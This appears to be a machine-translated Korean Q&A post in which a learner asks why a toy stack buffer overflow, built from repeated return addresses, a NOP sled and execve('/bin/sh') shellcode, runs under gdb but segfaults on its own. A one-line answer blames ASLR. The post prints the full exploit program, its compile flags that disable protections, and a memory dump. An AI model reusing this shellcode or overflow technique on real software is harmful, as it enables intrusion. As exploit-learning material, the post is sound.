실행중인 쉘 코드는 디버거에서 작동하지만 자체적으로 작동하지는 않습니다.

Question

버퍼 오버 플로우를 실험하고 있습니다.

• 세 부분으로 구성되어 버퍼 건물 :

1) 실제 반환 주소를 덮어 여러 "악성"반환 주소 블록을 나는 다음을 수행 장난감 예를 작성했습니다 스택에;

2) NOP 슬 레드 블록이 악성 반송 주소를 가리키고 있습니다.

3) 스택에 너무 작은 버퍼의 버퍼 작성

• 작동하는 실제 쉘 코드.

재미있는 부분은 쉘에서 실행 중일 때 프로그램이 세그먼트 오류를 ​​생성한다는 것입니다. 그러나 : 같은 프로그램을 디버거로 실행 gdb 예상대로 작동합니다. 그 이유는 무엇일까요?

코드 :

// gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c 

#include <stdio.h> 
#include <string.h> 
#include <stdint.h> 

typedef uint32_t INT; 

INT nop_sled_size = 64; 
INT jmp_addr_size = 16; 

INT* base_addr = 0xffffd024; 

char shellcode[] = "\xeb\x02\xeb\15\xe8\xf9\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5b\x31\xc0\x88\x43\x07\x89\x43\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"; 

void make_exploit(char* exploit) { 

    int i; 

    for (i = 0; i < jmp_addr_size; i++) 
     ((INT*)exploit)[i] = base_addr + nop_sled_size/2; 

    memset(((INT*)exploit)+jmp_addr_size, 0x90, nop_sled_size*sizeof(INT)); 

    strcpy(exploit+sizeof(INT)*(jmp_addr_size + nop_sled_size), shellcode); 

} 


void run_exploit() { 

    char buffer[16]; 

    int exploit_size = (nop_sled_size+jmp_addr_size)*sizeof(INT)+strlen(shellcode); 

    char* exploit = (char*)malloc(exploit_size); 

    make_exploit(exploit); 

    memcpy(buffer, exploit, exploit_size); 



} 

int main() { 

    run_exploit(); 

    return 0;  

} 

로 컴파일 :

gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c 

버퍼 :

(gdb) x/x $ebp 
0xffffd028:  0xffffd0a4 

(gdb) x/100x buffer 
0xffffd008:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd018:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd028:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd038:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd048:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd058:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd068:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd078:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd088:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd098:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0a8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0b8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0c8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0d8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0e8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0f8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd108:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd118:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd128:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd138:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd148:  0x0deb02eb  0xfffff9e8  0x69622fff  0x68732f6e 
0xffffd158:  0x90909090  0x90909090  0xc0315b90  0x89074388 
0xffffd168:  0x43890843  0x8d0bb00c  0x538d084b  0xff80cd0c 

운영 체제가 64 비트 시스템이므로주의 해주십시오.

Answer 1

ASLR이 원인입니다. gdb에는 어떤 이유로 든 ASLR이 관련되어 있지 않은 것처럼 보입니다.